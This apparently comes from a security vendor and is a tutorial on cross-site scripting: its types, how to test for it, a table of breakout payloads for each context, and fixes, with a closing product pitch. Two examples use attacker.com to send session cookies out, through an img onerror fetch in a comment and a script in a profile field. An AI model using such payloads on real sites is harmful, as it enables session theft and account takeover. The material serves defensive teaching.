What XSS actually does
Cross-Site Scripting allows an attacker to inject JavaScript into a page that other users view. When the injected script executes in a victim's browser, it runs with the same privileges as legitimate scripts on that page — which means it can read session cookies, make authenticated requests, capture keystrokes, redirect users, or modify page content.
The impact depends entirely on what the application allows authenticated users to do. In a low-privilege app, XSS might only enable phishing. In an admin panel, it can lead to full account takeover of every administrator who views the infected page.
The three types of XSS
Reflected XSS
The injected payload is reflected back from the server in the immediate response — it's not stored. The attacker delivers the payload through a crafted URL. The victim must click the link for the script to execute.
# Search parameter reflected in response without encoding
GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: example.com
# Server responds with:
<p>Results for: <script>alert(document.cookie)</script></p>
# Vulnerable: script executes in victim's browser
Reflected XSS is often dismissed as "low severity" because it requires user interaction. This is wrong — a convincing phishing email with a crafted link is a reliable delivery mechanism, and the payload executes with full session privileges.
Stored XSS
The payload is stored server-side — in a database, comment field, user profile, or message — and executes whenever another user views the infected content. No crafted link required. Every visitor to the page becomes a victim automatically.
# Attacker posts a comment containing a payload
POST /comments HTTP/1.1
Content-Type: application/json
{
"post_id": 42,
"body": "Great article! <img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)>"
}
# Every user who views post 42 now exfiltrates their session cookie
Stored XSS in an admin panel is critical severity. An attacker who can store a payload that fires when an admin views the page can silently take over admin accounts without the admin doing anything suspicious.
DOM-based XSS
The payload never touches the server. It's processed entirely by client-side JavaScript — the DOM is manipulated based on user-controlled input like the URL fragment (#hash), document.referrer, or localStorage. Server-side scanning won't find it — you need to trace client-side data flow.
// Vulnerable client-side code
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML =
`Welcome, $${name}`;
# Attacker sends URL:
https://example.com/welcome#<img src=x onerror=alert(1)>
# Server never sees the payload — it's processed by the browser only
Testing methodology
Map every input that appears in the page output
URL parameters, form fields, HTTP headers (User-Agent, Referer, X-Forwarded-For), JSON body fields, file upload filenames, cookie values. Any value the app reads and reflects back into HTML is a potential injection point. Build a complete list before testing.
Identify the reflection context
Where does the input appear in the HTML? Between tags (<p>INPUT</p>), inside an attribute (value="INPUT"), inside a script tag (var x = 'INPUT'), or in a URL (href="INPUT"). Each context requires a different payload to break out of it.
Test with a benign probe first
Inject a unique string like xsstest12345 and check where it appears in the response. This tells you the reflection context and whether any encoding is applied — without triggering security alerts that a script tag might cause.
Use context-appropriate payloads
HTML context: <script>alert(1)</script>. Attribute context: " onmouseover="alert(1). Script context: ';alert(1)//. URL context: javascript:alert(1). The payload must match the context — a script tag won't execute inside an already-existing attribute value.
Test stored inputs across accounts
For stored XSS: submit the payload as User A, then view the content as User B. If the payload executes in User B's browser, it's confirmed. This is the critical test for comment fields, profile bios, message subjects, and any user-generated content.
Check client-side code for DOM sinks
Search the JavaScript for dangerous sinks: innerHTML, outerHTML, document.write, eval, setTimeout/setInterval with string args, location.href assignment. Trace each sink back to its source — does the source include any user-controlled input?
Payloads by reflection context
| Context | Example | Payload to break out |
|---|---|---|
| HTML body | <p>INPUT</p> | <script>alert(1)</script> |
| HTML attribute | value="INPUT" | " onmouseover="alert(1) |
| Single-quoted attr | value='INPUT' | ' onmouseover='alert(1) |
| JavaScript string | var x = 'INPUT' | ';alert(1)// |
| JavaScript string (double) | var x = "INPUT" | ";alert(1)// |
| href/src URL | href="INPUT" | javascript:alert(1) |
| Template literal | var x = `INPUT` | ${alert(1)} |
How to fix XSS by type
Reflected and stored XSS — output encoding
Encode all user-supplied data before inserting it into HTML. Use your framework's built-in encoding — React's JSX escapes by default, Angular's template binding escapes by default. The problem occurs when developers bypass this with dangerouslySetInnerHTML (React), bypassSecurityTrust (Angular), or direct DOM manipulation. Audit all usages.
DOM XSS — avoid dangerous sinks
Replace innerHTML with textContent for inserting text. Replace document.write entirely. Never pass user-controlled data to eval, setTimeout, or setInterval as a string. For HTML you genuinely need to render, use a sanitisation library like DOMPurify — never write your own sanitiser.
Content Security Policy as defence in depth
A strict CSP (script-src 'self' with no unsafe-inline) prevents injected scripts from executing even if XSS is present. It's not a replacement for output encoding — it's a second layer. CSP won't stop all XSS (DOM XSS can bypass it, and unsafe-inline defeats it) but it significantly raises the bar for exploitation.
HttpOnly cookies
Mark session cookies HttpOnly so JavaScript can't read them. This doesn't prevent XSS exploitation — an attacker can still make authenticated requests or modify the DOM — but it prevents the most common payload (stealing session cookies for account takeover).
What a confirmed XSS finding looks like
A valid XSS report includes the injection point, the reflection context, the exact payload, and proof of execution — not just the payload firing an alert, but evidence of real impact.
REQUEST
POST /profile/update HTTP/1.1
Authorization: Bearer <attacker-token>
Content-Type: application/json
{
"display_name": "Test<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"
}
IMPACT
When any user views the attacker's profile:
→ Browser executes the script
→ Session cookie sent to attacker-controlled server
→ Attacker replays cookie to authenticate as victim
Test your app for XSS automatically
Nautillo Pro tests for reflected, stored, and DOM-based XSS across all discovered input vectors — including API endpoints, HTTP headers, and JSON body fields. Every confirmed finding includes the exact payload, reflection context, and proof of execution.